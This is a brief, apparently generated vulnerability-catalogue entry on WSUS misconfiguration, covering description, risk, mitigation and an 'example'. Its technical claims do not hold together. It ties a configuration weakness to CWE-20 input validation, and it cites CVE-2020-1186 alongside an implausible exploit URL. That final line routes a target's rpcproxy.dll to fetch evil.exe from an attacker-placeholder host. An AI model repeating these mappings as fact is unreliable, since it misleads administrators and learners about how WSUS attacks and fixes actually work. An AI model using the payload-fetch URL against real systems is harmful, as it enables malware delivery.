Configuration Management / Wsus Misconfiguration

Description

WSUS Misconfiguration is a vulnerability categorized under Configuration Management, and falls under the Infrastructure domain. This vulnerability occurs when an attacker exploits weaknesses in the Windows Server Update Services (WSUS) configuration to gain unauthorized access to the system. This type of attack is tracked as CWE-20 and is defined as "Improper Input Validation". According to the OWASP Testing Guide, this type of attack is most commonly caused by weak input validation routines that do not properly sanitize user input.

Risk

The risk associated with this vulnerability is high. An attacker can gain access to sensitive information, such as passwords and user credentials, as well as being able to alter or delete system files. This can have serious consequences, such as the disruption of critical services and the theft of confidential data.

Solution

In order to mitigate this vulnerability, administrators should ensure that the WSUS configuration is properly configured and all system patches are up to date. Additionally, input validation routines should be implemented to ensure that all user input is properly sanitized.

Example

The following example is based on a vulnerability CVE-2020-1186, which is a WSUS Misconfiguration vulnerability. The code below shows an example of how an attacker can exploit this vulnerability by using a malicious URL to gain access to the system.

http://[target]/rpc/rpcproxy.dll?http://[attacker]/evil.exe